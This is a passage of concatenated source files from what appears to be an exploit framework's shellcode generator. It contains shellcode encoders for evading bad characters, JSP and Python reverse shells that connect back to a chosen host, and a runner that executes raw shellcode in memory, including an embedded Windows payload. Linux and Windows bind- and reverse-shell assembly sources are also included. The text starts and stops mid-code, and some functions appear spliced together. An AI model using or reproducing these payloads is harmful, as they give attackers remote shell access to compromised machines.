wrap_around: xor edx, edx ; zero out edx mov dl, %s ; edx = 13 sub dl, byte [esi] ; 13 - shellcode byte value xor ebx,ebx ; zero out ebx mov bl, 0xff ; store 0x100 without introducing null bytes inc ebx sub bx, dx ; 256 - (13 - shellcode byte value) mov byte [esi], bl ; write decoded value process_shellcode: inc esi ; move to the next byte loop decode ; decode current byte jmp short shellcode ; execute decoded shellcode call_decoder: call decoder shellcode: db USER_SHELLCODE len: equ $-shellcode """ % (n_hex, n_hex, n_hex) asm_code = asm_code.replace('USER_SHELLCODE', _shellcode) encoded_shellcode, _ = create_shellcode(asm_code, self.OS_TARGET, self.OS_TARGET_ARCH, debug=debug) return encoded_shellcode def rot_13_encoder(self, _shellcode, debug=0): """ ROT13 ("rotate by 13 places", sometimes hyphenated ROT-13) is a simple letter substitution cipher that replaces a letter with the letter 13 letters after it in the alphabet. ROT13 is a special case of the Caesar cipher, developed in ancient Rome. """ n = 13 # rot-n max_value_without_wrapping = 256 - n encoded_shellcode = "" db_shellcode = [] for x in bytearray(_shellcode): if x < max_value_without_wrapping: encoded_shellcode += '\\x%02x' % (x + n) db_shellcode.append('0x%02x' % (x + n)) else: encoded_shellcode += '\\x%02x' % (n - 256 + x) db_shellcode.append('0x%02x' % (n - 256 + x)) # print "Encoded shellcode:\n%s\n" % encoded_shellcode # print "DB formatted (paste in .nasm file):\n%s\n" % ','.join(db_shellcode) encode_shellcode = self.rot_13_decoder(','.join(db_shellcode), debug) return encode_shellcode def fnst_encoder(self, _byte_array, debug): encoder = FnstenvXorEncoder(self.BADCHARS) shellcode = _byte_array encoded_shell = encoder.encode_to_string(shellcode) if debug: print "Len of encoded shellcode:", len(encoded_shell) return encoded_shell def jumpcall_encoder(self, _byte_array, debug): encoder = JumpCallXorEncoder(self.BADCHARS) shellcode = _byte_array encoded_shell = encoder.encode_to_string(shellcode) if debug: print "Len of encoded shellcode:", len(encoded_shell) return encoded_shell def alphanum_encoder(self, byte_str, debug=0, buffer_register='ecx'): encoder = AlphanumericEncoder(self.BADCHARS, buffer_register=buffer_register) encoded_shell = encoder.encode(byte_str) if debug: print("Length of encoded shellcode: %s" % len(encoded_shell)) print ''.join("\\x%02x"%ord(c) for c in encoded_shell) return encoded_shell ================================================ FILE: shellcodes/JavaShellcode.py ================================================ import os from shellcode import Shellcode from core.helpers.archieve.jar import Jar from ShellUtils import Constants, read_binary class JavaShellcodes(Shellcode): """ Class with shellcodes for java language """ def __init__(self, connectback_ip='localhost', connectback_port=5555, badchars=['\x00'], type = Constants.JavaShellcodeType.JAR, make_jar=False): Shellcode.__init__(self, connectback_ip=connectback_ip, connectback_port=connectback_port, badchars=badchars) self.type = type self.make_jar = make_jar self.path_to_jar = "" return def get_jsp(self, inline=False): """ Function to get java(jsp) shellcode """ if not self.CONNECTBACK_IP or not self.CONNECTBACK_PORT: print "Settings for connectback listener must be defined" return False javacode = "" javacode += """ <%@page import="java.lang.*, java.util.*, java.io.*, java.net.*"%> <%class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector( InputStream is, OutputStream os ) { this.is = is; this.os = os; } public void run() { BufferedReader in = null; BufferedWriter out = null; try { in = new BufferedReader( new InputStreamReader( this.is ) ); out = new BufferedWriter( new OutputStreamWriter( this.os ) ); char buffer[] = new char[8192]; int length; while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) { out.write( buffer, 0, length ); out.flush(); } } catch( Exception e ){ } try { if( in != null ) in.close(); if( out != null ) out.close(); } catch( Exception e ){} } } try { String OS = System.getProperty("os.name").toLowerCase(); Socket socket = new Socket( "LOCALHOST", LOCALPORT ); String command = "cmd.exe"; if (OS.indexOf("win") < 0) command = "/bin/sh"; Process process = Runtime.getRuntime().exec(command); (new StreamConnector(process.getInputStream(),socket.getOutputStream())).start(); (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); } catch( Exception e ) { } %>""" javacode = javacode.replace("LOCALHOST", str(self.CONNECTBACK_IP)) javacode = javacode.replace("LOCALPORT", str(self.CONNECTBACK_PORT)) if inline: javacode = self.make_inline(javacode) return javacode def get_jar(self, filename=""): if not os.path.exists('temp'): os.makedirs("temp") filepath = 'temp/%s' % (filename or "payload.jar") jar = Jar(filepath) data = "{host};{port}".format(host=self.CONNECTBACK_IP, port=self.CONNECTBACK_PORT) jar.add_file('east/data.dat', data) path = os.getcwd() + '/shellcodes/data/java/reverse_tcp/Payload.class' jar.add_file('east/Payload.class', read_binary(path)) if self.make_jar: self.path_to_jar = filepath remove_jar = not self.make_jar return jar.get_raw(remove_jar) def get_shellcode(self, inline=False): if not hasattr(Constants.JavaShellcodeType, self.type.upper()): raise Exception("There no Java payload of this type.") shell = "" if self.type == Constants.JavaShellcodeType.JAR: shell = self.get_jar() elif self.type == Constants.JavaShellcodeType.JSP: shell = self.get_jsp(inline) return shell ================================================ FILE: shellcodes/PhpShellcode.py ================================================ from shellcode import Shellcode class PhpShellcodes(Shellcode): """ Class with shellcodes for php language """ def __init__(self, connectback_ip='localhost', connectback_port=5555): Shellcode.__init__(self, connectback_ip=connectback_ip, connectback_port=connectback_port) self.name = "" return def get_phpinfo(self, badchars): """ Function to get phpinfo """ phpcode = "" return phpcode def get_phpcode(self, localhost, localport): """ Function to get php shellcode """ if not localhost or not localport: print "Settings for connectback listener must be defined" return False phpcode = "" phpcode += """ """ phpcode = phpcode.replace("LOCALHOST", str(localhost)) phpcode = phpcode.replace("LOCALPORT", str(localport)) return phpcode def get_php_code_inline(self, host, port): res = self.get_phpcode(host, port) res = res.replace('\n', '') res = res.replace('\r', '') return res def get_shellcode(self, inline=False): shell = self.get_phpcode(self.CONNECTBACK_IP, self.CONNECTBACK_PORT) if inline: shell = self.make_inline(shell) return shell ================================================ FILE: shellcodes/PythonShellcode.py ================================================ from shellcode import Shellcode class PythonShellcodes(Shellcode): """ Class with shellcodes for python language """ def __init__(self, connectback_ip='localhost', connectback_port=5555): Shellcode.__init__(self, connectback_ip=connectback_ip, connectback_port=connectback_port) self.name = "" return def get_python_code(self, badchars, localhost, localport): """ Function to get python shellcode """ if not localhost or not localport: print "Settings for connectback listener must be defined" return False pythoncode = "" pythoncode += """ #!/usr/bin/python import socket,subprocess HOST = 'LOCALHOST' # The remote host PORT = LOCALPORT # The same port as used by the server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # connect to attacker machine s.connect((HOST, PORT)) # send we are connected s.send('[*] Connection Established!') # start loop while 1: # recieve shell command data = s.recv(1024) print data # if its quit, then break out and close socket if data == 'quit' or data == 'q': break # do shell command proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # read output stdout_value = proc.stdout.read() + proc.stderr.read() # send output to attacker s.send(stdout_value) # close socket s.close() """ pythoncode = pythoncode.replace("LOCALHOST", str(localhost)) pythoncode = pythoncode.replace("LOCALPORT", str(localport)) return pythoncode def get_shellcode(self, inline=False): shell = self.get_python_code(self.BADCHARS, self.CONNECTBACK_IP, self.CONNECTBACK_PORT) if inline: shell = self.make_inline(shell) return shell ================================================ FILE: shellcodes/README ================================================ Generate shellcodes are tested on: 1. WIN 32bit XP SP2 2. WIN 32bit 7 Ultimate 3. Linux 3.13.0-57-generic Ubuntu x86_64 x86_64 x86_64 GNU/Linux ================================================ FILE: shellcodes/Runshellcode.py ================================================ #!/usr/bin/python import ctypes from Encoders import * from Shellcodes import * from ast import literal_eval from ShellUtils import Constants class RunShellcode(): def run(self, shellcode_string, platform, encoder=''): if encoder: BADCHARS = ["\x00", "\x0a", "\x0d"] new_encoder = CodeEncoders(platform, platform, Constants.OS_ARCH.X32, BADCHARS) if encoder == Constants.EncoderType.XOR: shellcode_string = new_encoder.xor_encoder(shellcode_string, debug=1) elif encoder == Constants.EncoderType.ALPHANUMERIC: shellcode_string = new_encoder.alphanum_encoder(shellcode_string, debug=1) if platform == Constants.OS.WINDOWS: shellcode = bytearray(shellcode_string) ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) elif platform == Constants.OS.LINUX: shellcode = ctypes.c_char_p(shellcode_string) function = ctypes.cast(shellcode, ctypes.CFUNCTYPE(None)) addr = ctypes.cast(function, ctypes.c_void_p).value libc = ctypes.CDLL('libc.so.6') pagesize = libc.getpagesize() addr_page = (addr // pagesize) * pagesize for page_start in range(addr_page, addr + len(shellcode_string), pagesize): assert libc.mprotect(page_start, pagesize, 0x7) == 0 function() else: print("Unknown platform") return if __name__ == "__main__": #x86/shikata_ga_nai succeeded with size 227 (iteration=1) #Metasploit windows/exec calc.exe shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f" "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x7f\x00\x00\x01\x68" "\x02\x00\x0f\xa0\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5" "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec" "\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89" "\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66" "\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44" "\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68" "\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30" "\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68" "\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5") # Linux x86 test shellcode # ("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" # "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x10\x00\x00\x00\x2f" # "\x75\x73\x72\x2f\x62\x69\x6e\x2f\x77\x68\x6f\x61\x6d\x69\x00" # "\x57\x53\x89\xe1\xcd\x80"); rsc = RunShellcode() rsc.run(shellcode, Constants.OS.WINDOWS, None) ================================================ FILE: shellcodes/ShellUtils.py ================================================ import os import time from subprocess import call, Popen, PIPE from shutil import rmtree from platform import system, machine import struct TIMESTAMP = time.strftime('%Y%m%d%H%M%S', time.gmtime()) OS_SYSTEM = system().upper() OS_ARCH = machine() class Constants: FW_ROOT_PATH = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..')) SHELLCODES_DEV_PATH = os.path.join(FW_ROOT_PATH, '3rdPartyTools', 'ShellcodesUtils') TMP_DIR = os.path.join(FW_ROOT_PATH, 'tmp') class OS: WINDOWS = "WINDOWS" LINUX = "LINUX" class OS_ARCH: X32 = "32bit" X64 = "64bit" class EncoderType: XOR = "xor" ALPHANUMERIC = "alphanum" ROT_13 = "rot_13" FNSTENV_XOR = "fnstenv" JUMPCALL_XOR = "jumpcall" class ShellcodeType: JSP = "jsp" JAR = "jar" PYTHON = "python" PHP = "php" ASPX = "aspx" class JavaShellcodeType: JSP = "jsp" JAR = "jar" class ShellcodeConnection: BIND = 'bind' REVERSE = 'reverse' def is_os_64bit(): return machine().endswith('64') def search_file(filename, search_path): """ Given a search path, find file """ path = os.path.join(search_path, filename) if os.path.exists(path): return path return None def write_file(data, file_ext='', file_name=''): """ Function to create file """ if not os.path.exists(Constants.TMP_DIR): os.makedirs(Constants.TMP_DIR) if not file_ext.startswith('.'): file_ext = '.' + file_ext if not file_name: file_name = TIMESTAMP file_name += file_ext file_path = os.path.join(Constants.TMP_DIR, file_name) fd = open(file_path, 'wb+') fd.write(data) fd.close() return file_path def get_objective_code(asm_file, target_arch, debug=0): """ Get objective code (file: *.o) """ output_format = "" if target_arch == Constants.OS_ARCH.X32: output_format = 'elf' elif target_arch == Constants.OS_ARCH.X64: output_format = 'elf64' else: print ("Format for output objective file is not defined") return None if not asm_file: print ("You must specify some params passed to function") return None obj_file = (asm_file.split('.'))[0] + ".o" app = 'nasm' # Application that do magic for us if OS_SYSTEM == Constants.OS.WINDOWS: app += '.exe' find_app = search_file("%s" % app, Constants.SHELLCODES_DEV_PATH) if find_app: if debug: print ("app: '%s' found at %s" % (app, find_app)) else: print ("You must install app: '%s' and maybe edit environment variables path to it" % app) return None elif OS_SYSTEM == Constants.OS.LINUX: find_app = app else: print ("Can't understand source os") return None command = "%s -f%s -o%s %s" % (find_app, output_format, obj_file, asm_file) if debug: print (command) res = call([find_app, "-f", output_format, "-o", obj_file, asm_file]) if res == 0: if debug: print("Objective code has been created") return obj_file else: print ("Something wrong while getting objective code") return None def objdump(obj_file, os_target_arch, debug=0): """ Get shellcode with objdump utility """ res = '' if not obj_file: print ("You must specify some params passed to function") return None else: app = 'objdump' if OS_SYSTEM == Constants.OS.WINDOWS: app += ".exe" find_app = search_file("%s" % app, Constants.SHELLCODES_DEV_PATH) if find_app: if debug: print ("app: '%s' found at %s" % (app, find_app)) else: print ("You must install app: '%s' and maybe edit environment variables path to it" % app) return None elif OS_SYSTEM == Constants.OS.LINUX: find_app = app else: print ("Can't understand source os") return None if os_target_arch == Constants.OS_ARCH.X32: p = Popen(['%s' % find_app, '-d', obj_file], stdout=PIPE, stderr=PIPE) elif os_target_arch == Constants.OS_ARCH.X64: p = Popen(['%s' % find_app, '-d', obj_file, '--disassembler-options=addr64'], stdout=PIPE, stderr=PIPE) else: print ("OS TARGET ARCH '%s' is not supported" % os_target_arch) return (stdoutdata, stderrdata) = p.communicate() if p.returncode == 0: for line in stdoutdata.splitlines(): cols = line.split('\t') if len(cols) >= 2: for b in [b for b in cols[1].split(' ') if b != '']: res = res + ('\\x%s' % b) else: raise ValueError(stderrdata) if res and debug: print ("Objdump is created") return res def create_shellcode(asm_code, os_target, os_target_arch, make_exe=0, debug=0, filename="", dll_inj_funcs=[]): if os_target == Constants.OS.LINUX: dll_inj_funcs = [] if not is_os_64bit() and os_target_arch == Constants.OS_ARCH.X64: print ("ERR: can not create shellcode for this os_target_arch (%s) on os_arch (%s)" % (os_target_arch, OS_ARCH)) return None asm_file = write_file(asm_code, '.asm', filename) obj_file = get_objective_code(asm_file, os_target_arch, debug) # stage_2: if obj_file: shellcode = objdump(obj_file, os_target_arch, debug) shellcode = shellcode.replace('\\x', '').decode('hex') # shellcode = extract_shell_from_obj(obj_file) else: return None if make_exe: make_binary_from_obj(obj_file, os_target, os_target_arch, debug) if dll_inj_funcs: generate_dll(os_target, os_target_arch, asm_code, filename, dll_inj_funcs, debug) return shellcode, asm_file.split(".")[0] def generate_dll(os_target, os_target_arch, asm_code, filename, dll_inj_funcs, debug): asm_code = asm_code.replace("global _start", "").replace("_start:", "") additional_code = "" for func in dll_inj_funcs: additional_code += "global _{}\r\n".format(func) for func in dll_inj_funcs: additional_code += "_{}:\r\n".format(func) asm_code = additional_code + asm_code asm_file = write_file(asm_code, '.asm', filename) obj_file = get_objective_code(asm_file, os_target_arch, debug) make_binary_from_obj(obj_file, os_target, os_target_arch, debug, True) def make_binary_from_obj(o_file, os_target, os_target_arch, debug=0, is_dll=False): """ Function for test shellcode with app written on c-language """ if is_dll and os_target == Constants.OS.LINUX: print('Dll can be generated only for WINDOWS OS') return None app = 'ld' find_app = '' if OS_SYSTEM == Constants.OS.WINDOWS: if os_target == Constants.OS.LINUX: app += '.gold' elif os_target == Constants.OS.WINDOWS and os_target_arch == Constants.OS_ARCH.X64: app += '64' app += '.exe' find_app = search_file("%s" % app, Constants.SHELLCODES_DEV_PATH) if find_app: if debug: print("app: '%s' found at %s" % (app, find_app)) else: print("You must install app: '%s' and maybe edit environment variables path to it" % app) return None elif OS_SYSTEM == Constants.OS.LINUX: find_app = app else: print ("Can't understand source os: %s" % OS_SYSTEM) return None c_exe = (o_file.split('.'))[0] commands_list = [find_app, '-o', c_exe, o_file, '--strip-all'] if OS_SYSTEM == Constants.OS.LINUX: if os_target == Constants.OS.WINDOWS: commands_list.append('-m') commands_list.append('i386pe') if is_dll: commands_list.append('-shared') p = Popen(commands_list) p.communicate() elif OS_SYSTEM == Constants.OS.WINDOWS: if is_dll: commands_list.append('-shared') p = Popen(commands_list) p.communicate() else: print ("ERR: source os (%s) is not supported" % OS_SYSTEM) if os_target == Constants.OS.WINDOWS: newname = c_exe + '.dll' if is_dll else c_exe + '.exe' if os.path.exists(newname): os.remove(newname) os.rename(c_exe, newname) print ("Complete. Now you can try to execute file: %s" % c_exe) def is_os_64bit(): return machine().endswith('64') def extract_shell_from_obj(file): with open(file, 'rb') as f: contents = f.read() flag = contents[4] if flag == '\x01': length = struct.unpack('H', port) return struct.pack('= 0); } public static boolean isUnix() { return (OS.indexOf("nix") >= 0 || OS.indexOf("nux") >= 0 || OS.indexOf("aix") > 0 ); } } ================================================ FILE: shellcodes/data/linux/src/bind_tcp.asm ================================================ global _start section .text _start: push 0x66 pop eax push 0x1 pop ebx xor esi, esi push esi push ebx push 0x2 mov ecx, esp int 0x80 pop edi xchg edi, eax xchg ebx, eax mov al, 0x66 push esi push word 0xBIND_PORT ;port push word bx mov ecx, esp push 0x10 push ecx push edi mov ecx, esp int 0x80 mov al, 0x66 mov bl, 0x4 push esi push edi mov ecx, esp int 0x80 mov al, 0x66 inc ebx push esi push esi push edi mov ecx, esp int 0x80 pop ecx pop ecx mov cl, 0x2 xchg ebx,eax loop: mov al, 0x3f int 0x80 dec ecx jns loop mov al, 0x0b push 0x68732f2f push 0x6e69622f mov ebx, esp inc ecx mov edx, ecx int 0x80 ================================================ FILE: shellcodes/data/linux/src/reverse_tcp.asm ================================================ BITS 32 global _start _start: ; =============================== SOCKET ===================================== ; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 ; ; int socket(int domain, int type, int protocol); ; ; int socketcall(int call, unsigned long *args) ; socketcall SYS_SOCKET socket() args ; EAX EBX ECX ; 102 1 (2, 1, 6) ; ; SYS_SOCKET will return file descriptor (fd) in EAX. ; EAX xor eax, eax mov al, 102 ; socketcall ; EBX xor ebx, ebx mov bl, 1 ; SYS_SOCKET socket() ; ECX xor ecx, ecx push ecx push BYTE 6 ; IPPROTO_TCP || int protocol); push BYTE 1 ; SOCK_STREAM || int type, push BYTE 2 ; AF_INET || socket(int domain, mov ecx, esp ; ECX - PTR to arguments for socket() int 0x80 ; sockfd will be stored in EAX after this call ; EAX return mov esi, eax ; save socket fd in ESI for later ; ; =============================== CONNECT ===================================== ; ; connect( ; 3, ; {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, ; 16 ; ) = -1 EINPROGRESS (Operation now in progress) ; ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); ; jmp short call_get_ip_and_port back2shellcode: pop edi ; getting ip and port address from ESP ; EAX xor eax, eax mov al, 102 ; socketcall ; EBX xor ebx, ebx mov bl, 3 ; SYS_CONNECT connect() ; ECX xor edx, edx ; push edx ; 0.0.0.0 - ALL interfaces ; push DWORD 0x0100007f ; 127.0.0.1 in reverse *** CONTAINS NULLs ! *** ; push DWORD 0x0101a8c0 ; 192.168.1.1 in reverse push DWORD [edi] ; push IP push WORD [edi+0x4] ; push port dec ebx ; decrease bl from 3 to 2 to use it in the next push push WORD bx ; 2 - AF_INET inc ebx ; put back bl to 3 for SYS_CONNECT mov ecx, esp ; ptr to struct sockaddr push BYTE 16 ; socklen_t addrlen); push ecx ; const struct sockaddr *addr, push esi ; connect(int sockfd, mov ecx, esp ; ECX = PTR to arguments for connect() int 0x80 ; sockfd will be in EBX ; ; =============================== DUP FD ===================================== ; ; Before we spawn a shell, we need to forward all I/O (stdin,stdout,stderr) ; to a client. For this, we can dup2 syscall to duplicate a file descriptor. ; man 2 dup2 ; int dup2(int oldfd, int newfd); ; EAX, EBX, ECX ; 63 sockfd 0 ; 63 sockfd 1 ; 63 sockfd 2 ; ; move our sockfd to EAX mov eax, ebx xor eax, eax mov al, 63 ; dup2 syscall xor ecx, ecx ; 0 - stdin int 0x80 ; call dup2(sockfd, 0) mov al, 63 ; dup2 syscall mov cl, 1 ; 1 - stdout int 0x80 ; call dup2(sockfd, 1) mov al, 63 ; dup2 syscall mov cl, 2 ; 2 - stderr int 0x80 ; call dup2(sockfd, 2) ; ; =============================== EXECVE ===================================== ; ; Now as we forwarded sockfd to a client, we can spawn shell. ; Prepare the path, in little-endian, using the Python ; >>> '//bin/sh'[::-1].encode('hex') ; '68732f6e69622f2f' ; ; int execve(const char *filename, char *const argv[], char *const envp[]); ; EAX EBX, ECX, EDX ; 11 '//bin/sh' PTR to EBX NULL ; EAX xor eax, eax mov al, 11 ; execve syscall ; EBX xor edx, edx push edx ; NULL termination of '//bin/sh' string push 0x68732f6e ; '//bin/sh' in reverse push 0x69622f2f ; beginning of '//bin/sh' string is here mov ebx, esp ; put the address of '//bin/sh' into ebx via esp ; ECX push edx ; NULL termination of a stack push ebx ; load our '//bin/sh' on a stack mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string. ; EDX push edx ; NULL terminator mov edx, esp ; EDX is a PTR to a stack which has an address to NULL. int 0x80 ; call execve(EBX, ECX, EDX) call_get_ip_and_port: call back2shellcode ; dd 0x0101a8c0 ; Example: DWORD 192.168.1.1 reverse (in hex) ; db 0xc0, 0xa8, 0x01, 0x01 ; Example: BYTE 192.168.1.1 straight (in hex) dd 0xCONNECTBACK_IP ; dw 0x4530 ; Example: WORD 12357 reverse (in hex) ; db 0x30, 0x45 ; Example: BYTE 12357 straight (in hex) dw 0xCONNECTBACK_PORT ================================================ FILE: shellcodes/data/linux/x64/src/bind_tcp.asm ================================================ BITS 64 global _start section .text _start: push 0x29 pop rax cdq push 0x2 pop rdi push 0x1 pop rsi syscall push rax pop rdi push rdx push rdx mov byte [rsp], 0x2 mov word [rsp + 0x2], 0xBIND_PORT push rsp pop rsi push rdx push 0x10 pop rdx push 0x31 pop rax syscall pop rsi mov al, 0x32 syscall mov al, 0x2b syscall push rax pop rdi push 0x3 pop rsi dupe_loop: dec esi mov al, 0x21 syscall jne dupe_loop push rsi pop rdx push rsi mov rdi, '//bin/sh' push rdi push rsp pop rdi mov al, 0x3b syscall ================================================ FILE: shellcodes/data/linux/x64/src/reverse_tcp.asm ================================================ BITS 64 global _start ; settings ;IP equ 0x0100007f ; default 127.0.0.1, contains nulls so will need mask IP equ 0xCONNECTBACK_IP ;PORT equ 0x5c11 ; default 4444 PORT equ 0xCONNECTBACK_PORT ; syscall kernel opcodes SYS_SOCKET equ 0x29 SYS_CONNECT equ 0x2a SYS_DUP2 equ 0x21 SYS_EXECVE equ 0x3b ; argument constants AF_INET equ 0x2 SOCK_STREAM equ 0x1 _start: ; High level psuedo-C overview of shellcode logic: ; ; sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) ; ; struct sockaddr = {AF_INET; [PORT; IP; 0x0]} ; ; connect(sockfd, &sockaddr, 16) ; ; dup2(sockfd, STDIN+STDOUT+STDERR) ; execve("/bin/sh", NULL, NULL) create_sock: ; sockfd = socket(AF_INET, SOCK_STREAM, 0) ; AF_INET = 2 ; SOCK_STREAM = 1 ; syscall number 41 xor esi, esi ; 0 out rsi mul esi ; 0 out rax, rdx ; rdx = IPPROTO_IP (int: 0) inc esi ; rsi = SOCK_STREAM (int: 1) push AF_INET ; rdi = AF_INET (int: 2) pop rdi add al, SYS_SOCKET syscall ; copy socket descriptor to rdi for future use push rax pop rdi struct_sockaddr: ; server.sin_family = AF_INET ; server.sin_port = htons(PORT) ; server.sin_addr.s_addr = inet_addr("127.0.0.1") ; bzero(&server.sin_zero, 8) push rdx push rdx mov dword [rsp + 0x4], IP mov word [rsp + 0x2], PORT mov byte [rsp], AF_INET connect_sock: ; connect(sockfd, (struct sockaddr *)&server, sockaddr_len) push rsp pop rsi push 0x10 pop rdx push SYS_CONNECT pop rax syscall dupe_sockets: ; dup2(sockfd, STDIN) ; dup2(sockfd, STDOUT) ; dup2(sockfd, STERR) push 0x3 ; loop down file descriptors for I/O pop rsi dupe_loop: dec esi mov al, SYS_DUP2 syscall jne dupe_loop exec_shell: ; execve('//bin/sh', NULL, NULL) push rsi ; *argv[] = 0 pop rdx ; *envp[] = 0 push rsi ; '\0' mov rdi, '//bin/sh' ; str push rdi push rsp pop rdi ; rdi = &str (char*) mov al, SYS_EXECVE ; we fork with this syscall syscall ================================================ FILE: shellcodes/data/windows/src/bind_tcp.asm ================================================ BITS 32 cld call start api_call: pushad mov ebp, esp xor edx, edx mov edx, [fs:edx+48] mov edx, [edx+12] mov edx, [edx+20] next_mod: mov esi, [edx+40] movzx ecx, word [edx+38] xor edi, edi loop_modname: xor eax, eax lodsb cmp al, 'a' jl not_lowercase sub al, 0x20 not_lowercase: ror edi, 13 add edi, eax loop loop_modname push edx push edi mov edx, [edx+16] mov eax, [edx+60] add eax, edx mov eax, [eax+120] test eax, eax jz get_next_mod1 add eax, edx push eax mov ecx, [eax+24] mov ebx, [eax+32] add ebx, edx get_next_func: jecxz get_next_mod dec ecx mov esi, [ebx+ecx*4] add esi, edx xor edi, edi loop_funcname: xor eax, eax lodsb ror edi, 13 add edi, eax cmp al, ah jne loop_funcname add edi, [ebp-8] cmp edi, [ebp+36] jnz get_next_func pop eax mov ebx, [eax+36] add ebx, edx mov cx, [ebx+2*ecx] mov ebx, [eax+28] add ebx, edx mov eax, [ebx+4*ecx] add eax, edx finish: mov [esp+36], eax pop ebx pop ebx popad pop ecx pop edx push ecx jmp eax get_next_mod: pop eax get_next_mod1: pop edi pop edx mov edx, [edx] jmp short next_mod start: pop ebp bind_tcp: push 0x00003233 push 0x5F327377 push esp push 0x0726774C call ebp mov eax, 0x0190 sub esp, eax push esp push eax push 0x006B8029 call ebp push eax push eax push eax push eax inc eax push eax inc eax push eax push 0xE0DF0FEA call ebp xchg edi, eax xor ebx, ebx push ebx push 0xBIND_PORT0002 ;port mov esi, esp push byte 16 push esi push edi push 0x6737DBC2 call ebp push ebx push edi push 0xFF38E9B7 call ebp push ebx push ebx push edi push 0xE13BEC74 call ebp push edi xchg edi, eax push 0x614D6E75 call ebp shell: push 0x00646D63 mov ebx, esp push edi push edi push edi xor esi, esi push byte 18 pop ecx push_loop: push esi loop push_loop mov word [esp + 60], 0x0101 lea eax, [esp + 16] mov byte [eax], 68 push esp push eax push esi push esi push esi inc esi push esi dec esi push esi push esi push ebx push esi push 0x863FCC79 call ebp mov eax, esp dec esi push esi inc esi push dword [eax] push 0x601D8708 call ebp exitfunk: mov ebx, 0x0A2A1DE0 push 0x9DBD95A6 call ebp cmp al, byte 6 jl short goodbye cmp bl, 0xE0 jne short goodbye mov ebx, 0x6F721347 goodbye: push byte 0 push ebx call ebp ================================================ FILE: shellcodes/data/windows/src/reverse_tcp.asm ================================================ global _start _start: cld call main pusha mov ebp,esp xor eax,eax mov edx,DWORD [fs:eax+0x30] mov edx,DWORD [edx+0xc] mov edx,DWORD [edx+0x14] place1: mov esi,DWORD [edx+0x28] movzx ecx,WORD [edx+0x26] xor edi,edi loop1: lodsb cmp al,0x61 jl place2 sub al,0x20 place2: ror edi,0xd add edi,eax loop loop1 push edx push edi mov edx,DWORD [edx+0x10] mov ecx,DWORD [edx+0x3c] mov ecx,DWORD [ecx+edx*1+0x78] jecxz place6 add ecx,edx push ecx mov ebx,DWORD [ecx+0x20] add ebx,edx mov ecx,DWORD [ecx+0x18] place3: jecxz place5 dec ecx mov esi,DWORD [ebx+ecx*4] add esi,edx xor edi,edi place4: lodsb ror edi,0xd add edi,eax cmp al,ah jne place4 add edi,DWORD [ebp-0x8] cmp edi,DWORD [ebp+0x24] jne place3 pop eax mov ebx,DWORD [eax+0x24] add ebx,edx mov cx,WORD [ebx+ecx*2] mov ebx,DWORD [eax+0x1c] add ebx,edx mov eax,DWORD [ebx+ecx*4] add eax,edx mov DWORD [esp+0x24],eax pop ebx pop ebx popa pop ecx pop edx push ecx jmp eax place5: pop edi place6: pop edi pop edx mov edx,DWORD [edx] jmp place1 main: pop ebp push 